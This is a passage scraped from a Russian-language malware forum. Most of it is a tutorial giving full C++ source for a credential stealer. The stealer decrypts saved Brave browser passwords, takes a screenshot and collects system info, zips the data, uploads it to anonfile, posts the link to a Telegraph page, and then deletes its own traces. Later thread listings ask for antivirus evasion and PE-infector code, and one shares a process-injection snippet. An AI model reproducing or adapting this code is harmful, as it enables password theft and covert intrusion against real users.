    string GetHTML(const string& URL);
private:
    //TelegraphAPI
    const string Api = "https://api.telegra.ph/";
};

chto_takoe_api_i_zachem_on_nuzhen.png
Файл с исходным кодом для работы с WEB

На этом моменте надо рассказать поподробнее про каждый метод:

C++:Copy to clipboard

#include "Web.h"
#pragma warning(disable:4996)


//CallbackFunction
size_t WriteCallback(void* Contents, size_t Size, size_t Nmemb, void* Userp)
{
    ((string*)Userp)->append((char*)Contents, Size * Nmemb);
    return Size * Nmemb;
}

//EditPage
string Web::EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content)
{
    try
    {
        for (auto& i : Content)
            if (i == ' ')
                i = '+';

        string RequestUrl = Api + "editPage/" + Path.substr(Path.find_last_of('/') + 1) + "?access_token=" + AccessToken + "&title=" + Title + "&author_name=" + Name + "&content=[{\"tag\":\"p\",\"children\":[\"" + Content + "\"]}]&return_content=false", Html = GetHTML(RequestUrl);

        Reader Read;
        Value Json;
        Read.parse(Html, Json);

        if (Json["ok"].asString() == "true")
            return "Okay!";
        else
            return "Wrong Data!";
    }
    catch (...)
    {
        return "Error, EditPage :(";
    }
}

//GetPage
string Web::GetPage(const string& Path)
{
    try
    {
        string RequestUrl = Api + "getPage/" + Path.substr(Path.find_last_of('/') + 1) + "?return_content=true", Html = GetHTML(RequestUrl);

        Reader Read;
        Value Json;
        Read.parse(Html, Json);

        return Json["result"]["description"].asString();
    }
    catch (...)
    {
        return "Error, GetPage :(";
    }
}

//UploadFile
string Web::UploadFile(const string& Filename)
{
    try
    {
        string Result;
        CURLcode Ret;
        CURL* Hnd;
        curl_mime* Mime1;
        curl_mimepart* Part1;

        Mime1 = NULL;

        Hnd = curl_easy_init();
        curl_easy_setopt(Hnd, CURLOPT_BUFFERSIZE, 102400L);
        curl_easy_setopt(Hnd, CURLOPT_URL, "https://anonfile.com/api/upload");
        curl_easy_setopt(Hnd, CURLOPT_NOPROGRESS, 1L);
        Mime1 = curl_mime_init(Hnd);
        Part1 = curl_mime_addpart(Mime1);
        curl_mime_filedata(Part1, Filename.c_str());
        curl_mime_name(Part1, "file");
        curl_easy_setopt(Hnd, CURLOPT_MIMEPOST, Mime1);
        curl_easy_setopt(Hnd, CURLOPT_MAXREDIRS, 50L);
        curl_easy_setopt(Hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
        curl_easy_setopt(Hnd, CURLOPT_HTTP09_ALLOWED, 1L);
        curl_easy_setopt(Hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(Hnd, CURLOPT_WRITEDATA, &Result);
        curl_easy_setopt(Hnd, CURLOPT_TCP_KEEPALIVE, 1L);

        Ret = curl_easy_perform(Hnd);

        curl_easy_cleanup(Hnd);
        Hnd = NULL;
        curl_mime_free(Mime1);
        Mime1 = NULL;

        Reader Read;
        Value Json;

        Read.parse(Result, Json);

        return Json["data"]["file"]["url"]["full"].asString();
    }
    catch (...)
    {
        return "Error, UploadFile :(";
    }
}

//GetHTML
string Web::GetHTML(const string& URL)
{
    try
    {
        string result;
        CURLcode ret;
        CURL* hnd;

        hnd = curl_easy_init();
        curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
        curl_easy_setopt(hnd, CURLOPT_URL, URL.c_str());
        curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
        curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
        curl_easy_setopt(hnd, CURLOPT_HTTP09_ALLOWED, 1L);
        curl_easy_setopt(hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(hnd, CURLOPT_WRITEDATA, &result);
        curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
        ret = curl_easy_perform(hnd);

        curl_easy_cleanup(hnd);
        hnd = NULL;

        return result;
    }
    catch (...)
    {
        return "Error, HTML :(";
    }
}

learn-web-development-840x560.jpg
Заголовочный файл для работы с архивами

Здесь у нас создается объект класса Config, класс Zipper. В этом классе мы проходимся по каждому файлу в нашей директории и добавляем его в наш архив (попутно удаляя), также мы используем шифрование (AES-256) с ключом из конфига.

C++:Copy to clipboard

#include "Includes.h"

Config ZIP_Config;

class Zipper
{
public:
    //ZIP
    static void Pack()
    {
        int files = 0;
        string FileName = ZIP_Config.MainDirectory + "\\Data.zip";
        for (const auto& aut : directory_iterator(ZIP_Config.MainDirectory))
        {
            zip* archive = zip_open(FileName.c_str(), ZIP_CREATE, nullptr);
            zip_source* source = zip_source_file(archive, aut.path().string().c_str(), 0, 0);
            int index = (int)zip_file_add(archive, aut.path().filename().string().c_str(), source, ZIP_FL_OVERWRITE);
            zip_file_set_encryption(archive, files, ZIP_EM_AES_256, ZIP_Config.ArchivePassword.c_str());
            zip_close(archive);
            DeleteFile(aut.path().wstring().c_str());
            files++;
        }
    }
};

password-protect-zip-file.png
Заголовочный файл для«** выкачки» паролей из браузеров на основе Chromium**​

Тут у нас создается класс Chrome_Based_Browser, в котором мы имеем следующее:

C++:Copy to clipboard

#include "Includes.h"
#pragma warning(disable:4996)

class Chrome_Based_Browser
{
public:
    //Save ChromeBased Passwords
    static void Get_Chrome_Based_Passwords();
private:

    //Save Passwords
    static int Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password);

    //Process Row DB
    static int __stdcall Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name);
};

SQLite370.svg.png
Файл с исходным кодомдля**«** выкачки****»**** паролей из браузеров на основе Chromium****​

Сейчас будет~~мясо~~ жарко. Дальше про создаваемые объекты класса говорить не буду... Во-первых, у нас тут имеется « region**»**** с нужными нам переменными:**

Следом у нас идет основной метод, эта функция осуществляет проход по каждому из браузеров, генерирует имя выходного файла, получает директорию, где находится нужная БД, копирует ее (чтобы избежать ошибки при работающем браузере), запускает нужную нам команду (SQL). Chrome_Based_Fill_Secret_File выгружает, дешифрует данные и передает их в функцию для сохранения данных в файл.

C++:Copy to clipboard

#include "Chrome_Based.h"

Config BrowserConfig;

#pragma region Variables
//Temporary DB Path
#define TEMP_DB_PATH          "tmp"

//SQL Request
#define USER_DATA_QUERY       "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS"

//Number Of Rows
#define ROW_ID_COUNT        100

//Starting Row
int row_id = 1;

//File
FILE* file_with_secrets;

//Name Of Browsers
vector<string> Chrome_Based_Browsers = { "Brave" };

//Browsers' Paths
vector<string> Paths_To_Chrome_Based_Browsers = { "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data" };
#pragma endregion

//Save ChromeBased Passwords
void Chrome_Based_Browser::Get_Chrome_Based_Passwords()
{
    for (int temp = 0; temp < Chrome_Based_Browsers.size(); ++temp)
    {
        try
        {
            string Save_File = BrowserConfig.MainDirectory + '\\' + Chrome_Based_Browsers[temp] + "_Passwords.log";
            TCHAR original_db_location[MAX_PATH];
            sqlite3* logindata_database = { NULL };
            char* err_msg = { NULL };
            int result;

            memset(original_db_location, 0, MAX_PATH);

            SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, original_db_location));
       
            lstrcat(original_db_location, Converters::StringToWString(Paths_To_Chrome_Based_Browsers[temp]).c_str());

            result = CopyFile(original_db_location, TEXT(TEMP_DB_PATH), FALSE);

            result = sqlite3_open_v2(TEMP_DB_PATH, &logindata_database, SQLITE_OPEN_READONLY, NULL);

            file_with_secrets = fopen(Save_File.c_str(), "w+");

            result = sqlite3_exec(logindata_database, USER_DATA_QUERY, Chrome_Based_Process_Row, logindata_database, &err_msg);

            sqlite3_free(err_msg);
            fclose(file_with_secrets);
            sqlite3_close(logindata_database);
            DeleteFile(TEXT(TEMP_DB_PATH));
            row_id = 1;
        }
        catch (...) {}
    }
}

//Save Passwords
int Chrome_Based_Browser::Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password)
{
    fputs("URL: ", file_with_secrets);
    fputs(url, file_with_secrets);
    fputs("\nLOGIN: ", file_with_secrets);
    fputs(username, file_with_secrets);
    fputs("\nPASSWORD: ", file_with_secrets);
    fputs((const char*)password, file_with_secrets);
    fputs("\n\n", file_with_secrets);

    if (ferror(file_with_secrets))
    {
        return 1;
    }

    return 0;
}

//Process Row DB
int __stdcall Chrome_Based_Browser::Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name)
{
    DATA_BLOB encrypted_password;
    DATA_BLOB decrypted_password;
    sqlite3_blob* blob = { NULL };
    sqlite3* db = { (sqlite3*)passed_db };
    BYTE* blob_data = { NULL };

    unsigned char* password_array = { NULL };
    int result;
    int blob_size;
    int i;

    while (sqlite3_blob_open(db, "main", "logins", "password_value", row_id++, 0, &blob) != SQLITE_OK && row_id <= ROW_ID_COUNT);

    blob_size = sqlite3_blob_bytes(blob);

    blob_data = (BYTE*)malloc(blob_size);

    result = sqlite3_blob_read(blob, blob_data, blob_size, 0);

    encrypted_password.pbData = blob_data;
    encrypted_password.cbData = blob_size;

    CryptUnprotectData(&encrypted_password, NULL, NULL, NULL, NULL, 0, &decrypted_password);

    password_array = (BYTE*)malloc(decrypted_password.cbData + 1);

    memset(password_array, 0, decrypted_password.cbData);

    for (i = 0; i < decrypted_password.cbData; i++)
    {
        password_array[i] = (unsigned char)decrypted_password.pbData[i];
    }

    password_array[i] = '\0';

    result = Chrome_Based_Fill_Secret_File(argv[0], argv[1], password_array);

    free(password_array);
    sqlite3_blob_close(blob);
    sqlite3_close(db);
    return 0;
}

5_password-best-practices_unique- passwords_authentication-100768646-large.jpg
Заголовочный файл для дополнительных функций

В этом файле у нас хранится информация о нужных нам методах:

C++:Copy to clipboard

#include "Includes.h"
#pragma warning(disable:4996)

class Additional_Functions
{
public:
    //Take Screenshot
    static void Screenshot();

    //Get System Information
    static void OSInfo();
private:

    //Get Ram (GB)
    static long int GetRam();

    //Get CPU
    static string GetCPU();

    //Get GPU
    static string GetGPU();

    //Get Version Of Installed OS
    static string GetOSVersion();
};

jpeg_56.jpg
Файл с исходным кодомдля дополнительных функций**** ​

В начале файла описываются нужные переменные (все подписано).

C++:Copy to clipboard

#include "Additional_Functions.h"

Config Additional_Config;

//Needy For Screenshort
static const GUID png = { 0x557cf406, 0x1a04, 0x11d3, { 0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e } };

//Needy To Detect OS
typedef void (WINAPI* PGNSI)(LPSYSTEM_INFO);
typedef BOOL(WINAPI* PGPI)(DWORD, DWORD, DWORD, DWORD, PDWORD);

//Take Screenshot
void Additional_Functions::Screenshot()
{
    try
    {
        wstring PathToFile = Converters::StringToWString(Additional_Config.MainDirectory + "\\Screenshot.jpg");
        Gdiplus::GdiplusStartupInput gdiplusStartupInput;
        ULONG_PTR gdiplusToken;
        GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

        HDC scrdc, memdc;
        HBITMAP membit;
        scrdc = GetDC(0);
        int Height, Width;
        Height = GetSystemMetrics(SM_CYSCREEN);
        Width = GetSystemMetrics(SM_CXSCREEN);
        memdc = CreateCompatibleDC(scrdc);
        membit = CreateCompatibleBitmap(scrdc, Width, Height);
        SelectObject(memdc, membit);
        BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);
        HBITMAP hBitmap;
        hBitmap = (HBITMAP)SelectObject(memdc, membit);
        Gdiplus::Bitmap bitmap(hBitmap, NULL);
        bitmap.Save(PathToFile.c_str(), &png);

        DeleteObject(hBitmap);
    }
    catch (...) {}
}

//Get System Information
void Additional_Functions::OSInfo()
{
    try
    {
        ofstream file(Additional_Config.MainDirectory + "\\OS.log");
        file << "CPU: " + GetCPU();
        file << "\nGPU: " + GetGPU();
        file << "\nRam: " + to_string(GetRam()) + " GB";
        file << "\nOS: " + GetOSVersion();
        file.close();
    }
    catch (...) {}
}

//Get CPU
string Additional_Functions::GetCPU()
{
    int CPUInfo[4] = { -1 };
    __cpuid(CPUInfo, 0x80000000);
    unsigned int nExIds = CPUInfo[0];

    char CPUBrandString[0x40] = { 0 };
    for (unsigned int i = 0x80000000; i <= nExIds; ++i)
    {
        __cpuid(CPUInfo, i);

        if (i == 0x80000002)
        {
            memcpy(CPUBrandString,
                CPUInfo,
                sizeof(CPUInfo));
        }
        else if (i == 0x80000003)
        {
            memcpy(CPUBrandString + 16,
                CPUInfo,
                sizeof(CPUInfo));
        }
        else if (i == 0x80000004)
        {
            memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
        }
    }
    return CPUBrandString;
}

//Get GPU
string Additional_Functions::GetGPU()
{
    string Result;
    HRESULT hres;
    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres)) return 0;
    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
    if (FAILED(hres)) { CoUninitialize(); return 0; }
    IWbemLocator* pLoc = NULL;
    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
    if (FAILED(hres)) { CoUninitialize(); return 0; }
    IWbemServices* pSvc = NULL;
    hres = pLoc->ConnectServer(_bstr_t(L"root\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
    if (FAILED(hres)) { pLoc->Release(); CoUninitialize(); return 0; }
    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
    if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(bstr_t("WQL"),
        bstr_t("SELECT * FROM Win32_VideoController"),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
    if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
    IWbemClassObject* pclsObj = (IWbemClassObject*)malloc(sizeof(IWbemClassObject));

    ULONG uReturn = 0;
    bool passed = false;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn)break;
        VARIANT vtProp;
        hr = pclsObj->Get(L"Caption", 0, &vtProp, 0, 0);
        std::wstring wGpuName = vtProp.bstrVal;
        int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), NULL, 0, NULL, NULL);
        std::string strTo(size_needed, 0);
        WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), &strTo[0], size_needed, NULL, NULL);
        Result = strTo;
        passed = true;
        VariantClear(&vtProp);
    }
    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    pclsObj->Release();
    CoUninitialize();
    return Result;
}

//Get Ram (GB)
long int Additional_Functions::GetRam()
{
    unsigned long long ram_size;
    GetPhysicallyInstalledSystemMemory(&ram_size);
    return ram_size / 1000000;
}

//Get Version Of Installed OS
string Additional_Functions::GetOSVersion()
{
    OSVERSIONINFOEXA osvi;
    SYSTEM_INFO si;
    BOOL bOsVersionInfoEx;
    DWORD dwType; ZeroMemory(&si, sizeof(SYSTEM_INFO));
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXA));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
    bOsVersionInfoEx = GetVersionExA((OSVERSIONINFOA*)&osvi);

    PGNSI pGNSI = (PGNSI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo");
    if (NULL != pGNSI)
        pGNSI(&si);
    else GetSystemInfo(&si);
    if (VER_PLATFORM_WIN32_NT != osvi.dwPlatformId || osvi.dwMajorVersion <= 4) {
        return false;
    } stringstream os;
    os << "Microsoft ";
    {
        if (osvi.dwMinorVersion == 0)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows Vista ";
            else os << "Windows Server 2008 ";
        }  if (osvi.dwMinorVersion == 1)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows 7 ";
            else os << "Windows Server 2008 R2 ";
        }  PGPI pGPI = (PGPI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetProductInfo");
        pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType);  switch (dwType)
        {
        case PRODUCT_ULTIMATE:
            os << "Ultimate Edition ";
            break;
        case PRODUCT_PROFESSIONAL:
            os << "Professional ";
            break;
        case PRODUCT_HOME_PREMIUM:
            os << "Home Premium Edition ";
            break;
        case PRODUCT_HOME_BASIC:
            os << "Home Basic Edition ";
            break;
        case PRODUCT_ENTERPRISE:
            os << "Enterprise Edition ";
            break;
        case PRODUCT_BUSINESS:
            os << "Business Edition ";
            break;
        case PRODUCT_STARTER:
            os << "Starter Edition ";
            break;
        case PRODUCT_CLUSTER_SERVER:
            os << "Cluster Server Edition ";
            break;
        case PRODUCT_DATACENTER_SERVER:
            os << "Datacenter Edition ";
            break;
        case PRODUCT_DATACENTER_SERVER_CORE:
            os << "Datacenter Edition (core installation) ";
            break;
        case PRODUCT_ENTERPRISE_SERVER:
            os << "Enterprise Edition ";
            break;
        case PRODUCT_ENTERPRISE_SERVER_CORE:
            os << "Enterprise Edition (core installation) ";
            break;
        case PRODUCT_ENTERPRISE_SERVER_IA64:
            os << "Enterprise Edition for Itanium-based Systems ";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER:
            os << "Small Business Server ";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
            os << "Small Business Server Premium Edition ";
            break;
        case PRODUCT_STANDARD_SERVER:
            os << "Standard Edition ";
            break;
        case PRODUCT_STANDARD_SERVER_CORE:
            os << "Standard Edition (core installation) ";
            break;
        case PRODUCT_WEB_SERVER:
            os << "Web Server Edition ";
            break;
        }
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
    {
        if (GetSystemMetrics(SM_SERVERR2))
            os << "Windows Server 2003 R2, ";
        else if (osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER)
            os << "Windows Storage Server 2003";
        else if (osvi.wSuiteMask & VER_SUITE_WH_SERVER)
            os << "Windows Home Server";
        else if (osvi.wProductType == VER_NT_WORKSTATION &&
            si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
        {
            os << "Windows XP Professional x64 Edition";
        }
        else os << "Windows Server 2003, ";
        if (osvi.wProductType != VER_NT_WORKSTATION)
        {
            if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition for Itanium-based Systems";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition for Itanium-based Systems";
            }
            else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter x64 Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise x64 Edition";
                else os << "Standard x64 Edition";
            }
            else
            {
                if (osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
                    os << "Compute Cluster Edition";
                else if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition";
                else if (osvi.wSuiteMask & VER_SUITE_BLADE)
                    os << "Web Edition";
                else os << "Standard Edition";
            }
        }
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
    {
        os << "Windows XP ";
        if (osvi.wSuiteMask & VER_SUITE_PERSONAL)
            os << "Home Edition";
        else os << "Professional";
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
    {
        os << "Windows 2000 ";  if (osvi.wProductType == VER_NT_WORKSTATION)
        {
            os << "Professional";
        }
        else
        {
            if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                os << "Datacenter Server";
            else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                os << "Advanced Server";
            else os << "Server";
        }
    } if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Server 2012";
        else
            os << "Windows 8";
        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";

    }if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Server 2012 R2";
        else
            os << "Windows 8.1";

        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";
    }if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Windows Server 2016 Technical Preview";
        else
            os << "Windows 10";

        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";
    }
    return os.str();
}

msdn.png
Основной файл с исходным кодом

По пунктам:

C++:Copy to clipboard

#include "Chrome_Based.h"
#include "Web.h"
#include "Additional_Functions.h"
#include "Zipper.h"

Config Main_Config;
Web Web_Main;

int main()
{
    wchar_t Filename[MAX_PATH];
    GetModuleFileName(NULL, Filename, MAX_PATH);
    CreateDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str(), NULL);
    SetFileAttributes(Converters::StringToWString(Main_Config.MainDirectory).c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
    SetCurrentDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str());

    Chrome_Based_Browser::Get_Chrome_Based_Passwords();
    Additional_Functions::OSInfo();
    Additional_Functions::Screenshot();

    Zipper::Pack();

    string PreviousData = Web_Main.GetPage(Main_Config.TelegraphPage), FileUrl = Web_Main.UploadFile("Data.zip");
    Web_Main.EditPage(Main_Config.AccessToken, Main_Config.TelegraphPage, "XSS_ONE_LOVE", "XSS_ONE_LOVE", PreviousData + " | " + FileUrl);

    ofstream DeleteBat(Main_Config.BatDirectory + "\\temp.bat");
    DeleteBat << "\nif \"%~1\"==\"\" (set \"x=%~f0\"& start \"\" /min \"%comspec%\" /v/c \"!x!\" any_word & exit /b)\nTIMEOUT /T 2\nDEL /s /q " + Main_Config.MainDirectory + "\nDEL /s /q " + Converters::WStringToCSTR(Filename) + "\nDEL \"%~f0\"";
    DeleteBat.close();

    ShellExecute(NULL, L"open", Converters::StringToWString(Main_Config.BatDirectory + "\\temp.bat").c_str(), NULL, NULL, SW_SHOWNORMAL);
    exit(0);
}

malware_attack_security_thinkstock_811239600-100749982-large.jpg
Заключение

Вот мы с вами и написали демоверсию стиллера, который отправляет логи на страницу Telegraph. Естественно этот способ не идеален, но он определенно заслуживает вашего внимания. Код также далек от совершенства, но статья и не была направлена на написание готового продукта. Это лишь пища для размышлений. Хочу еще раз подметить, что в этой статье не был предоставлен исходный код панели управления, но если вы заинтересованы, то я могу написать статью на данную тему для вас (С#/C++/WPF). Вот вам котик на прощание:
maxresdefault (1).jpg

Обход RunTime ( динамический анализ АВ)
ID: 6765d804b4103b69df375abe
Thread ID: 27802
Created: 2019-02-11T22:12:59+0000
Last Post: 2019-12-05T17:47:46+0000
Author: Slayer
Replies: 33 Views: 11K

Всем привет. В создании малвари полный нуб , поэтому не кидайте сцаными тряпками. Вопрос такой : где поискать информацию (может кто готов поделиться в ЛС в телеге) об актуальных методах обхода проактивных методов защиты АВ.

Пример - пару дней назад захотел написать свой Майнер. Соответственно нужен лоадер , который скачает модули и запустит. Как обойти подводные камни ? Заранее спасибо. Подобный пост размещу и на **** для большего потока информации от знающих людей.

Что актуально?
ID: 6765d804b4103b69df375b04
Thread ID: 27619
Created: 2019-02-02T19:37:33+0000
Last Post: 2019-04-16T21:11:10+0000
Author: codedivision
Replies: 32 Views: 11K

Здравствуйте.
Что сейчас актуально из софта (цвет и сложность не важны)? Пишу на асм с использованием винапи и повершелл.

Смотрю в сторону брута и чека палки, крипты, ба. Но судя по ввх и экспе спрос и предложение очень небольшой. Капча (где рекапча и обычный паблик) легко обойти, прокси и сокс хватает. Если есть интересные проекты, могу выпустить софт в приват.
Заинтересовала андроид малварь, на чем ее сейчас пишут? И как обстоит ситуация с обфускацией кода?
О необычной малвари пока что только думаю, слишком много вариантов.

Помощь с C++
ID: 6765d804b4103b69df375b0e
Thread ID: 27585
Created: 2019-01-31T20:38:12+0000
Last Post: 2019-02-19T13:25:18+0000
Author: ShizIN
Replies: 46 Views: 11K

Ребят, подскажите пожалуйста какие-либо материалы по изучению С++, на ютубе такое себе, предпочитаю текстовый формат, книг найти не могу хороших:D

P.S. Буду благодарен за помощь в поисках)

Не компилируется :(
ID: 6765d804b4103b69df375baa
Thread ID: 4722
Created: 2005-09-02T16:24:46+0000
Last Post: 2005-11-16T13:15:32+0000
Author: Stifler
Replies: 29 Views: 11K

Вообщем решил учит C там есть такая тема
main()
{
puts("OK")
}

Сделал как тут написано (Компилятор)

Эту фигню пробывал написать в простом редакторе и потом пробывал в "Source Editor" сохранять пробывали в cpp и в .С

Потом вводил в командную строку
C:>borland\bcc55\bin\RUNBOR.BAT bcc32 c:\borland\bcc66\bin\test.c

И так пробывал

C:>borland\bcc55\bin\RUNBOR.BAT bcc32 test.c

Короче выдаёт ошибку
C:>bcc32 c:\borland\bcc66\bin\test.c
Borland C++ 5.5.1 for Win32 Copyright © 1993, 2000 Borland
Error E2194: Could not find file 'c:\borland\bcc66\bin\test.c'
Добавлено [time]1125678286[/time]
Чо за трабл ? Может мне чото надо чтоб сохранилось в .С ?

Katakana dev log
ID: 6765d804b4103b69df375a8c
Thread ID: 33937
Created: 2019-12-19T18:38:26+0000
Last Post: 2020-02-13T11:59:27+0000
Author: Triada
Replies: 44 Views: 10K

Сюда буду дропать нововведения

ищется код
ID: 6765d804b4103b69df375b50
Thread ID: 21262
Created: 2011-03-10T15:57:27+0000
Last Post: 2011-03-17T14:35:39+0000
Author: karabas-barabas
Replies: 13 Views: 10K

ищется код на с/с++ инфекта PE методом добавления в таблицу импорта своей записи о дллке. По инету гуляет такой код goo.gl/O6UFH , но он некорректно работает.

Есть ли смысл учить С++ в 2к20?
ID: 6765d804b4103b69df375a86
Thread ID: 35183
Created: 2020-02-25T14:35:53+0000
Last Post: 2020-02-28T17:38:41+0000
Author: D9koder
Replies: 26 Views: 10K

В плане мальвари. Смотрю в сторону чистого Си, но многие советуют С++, даже хз, он огромный и сложный

Запускаем часть своего кода С++ в другом процессе
ID: 6765d804b4103b69df375abc
Thread ID: 32917
Created: 2019-11-02T12:50:20+0000
Last Post: 2019-12-06T23:05:17+0000
Author: Crypto Locker
Replies: 58 Views: 10K

Код не мой, просто резко появилось желание наплодить индусов. Удачи в копипасте всем, кто
за этим пришёл.

C++:Copy to clipboard

DWORD WINAPI injectedCode() {
    const char* libList[] = { "shlwapi.dll", "mpr.dll", "netapi32.dll", "Gdiplus.dll", "wininet.dll", "kernel32.dll", "ws2_32.dll", "Gdi32.dll", "Ole32.dll", "Iphlpapi.dll" };
    for(int i = 0; i < _countof(libList); i++){
        LoadLibraryA((char*)libList[i]);
    }
    runBot();
    return 0;
}

void ProcessRelocs(PIMAGE_BASE_RELOCATION reloc, SIZE_T imageBase, SIZE_T delta, DWORD relocSize)
{
    if (relocSize <= 0) return;
    while (reloc->SizeOfBlock > 0)
    {
        SIZE_T va = imageBase + reloc->VirtualAddress;
        unsigned short* relInfo = (unsigned short*)((byte*)reloc + IMAGE_SIZEOF_BASE_RELOCATION);

        for (DWORD i = 0; i < (reloc->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2; i++, relInfo++)
        {
            int type = *relInfo >> 12;
            int offset = *relInfo & 0xfff;

            switch (type)
            {
            case IMAGE_REL_BASED_ABSOLUTE:
                break;
            case IMAGE_REL_BASED_HIGHLOW:
            case IMAGE_REL_BASED_DIR64:
                *((SIZE_T*)(va + offset)) += delta;
                break;
            }
        }
        reloc = (PIMAGE_BASE_RELOCATION)(((SIZE_T)reloc) + reloc->SizeOfBlock);
    }
}

HMODULE GetImageBase(void* funcAddr)
{
    SIZE_T addr = (funcAddr) ? (SIZE_T)funcAddr : (SIZE_T)&GetImageBase;
    addr &= ~0xffff;
    for (;;)
    {
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)addr;
        if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
        {
            if (dosHeader->e_lfanew < 0x1000)
            {
                PIMAGE_NT_HEADERS header = (PIMAGE_NT_HEADERS)&((byte*)addr)[dosHeader->e_lfanew];
                if (header->Signature == IMAGE_NT_SIGNATURE)
                    break;
            }
        }
        addr -= 0x10000;
    }
    return (HMODULE)addr;
}

inline PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase)
{
    return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)));
}


SIZE_T InjectCode(HANDLE hprocess, typeFuncThread startFunc, HMODULE* newBaseImage)
{
    HMODULE imageBase = GetImageBase(startFunc);
    DWORD sizeOfImage = GetOptionalHeader(imageBase)->SizeOfImage;

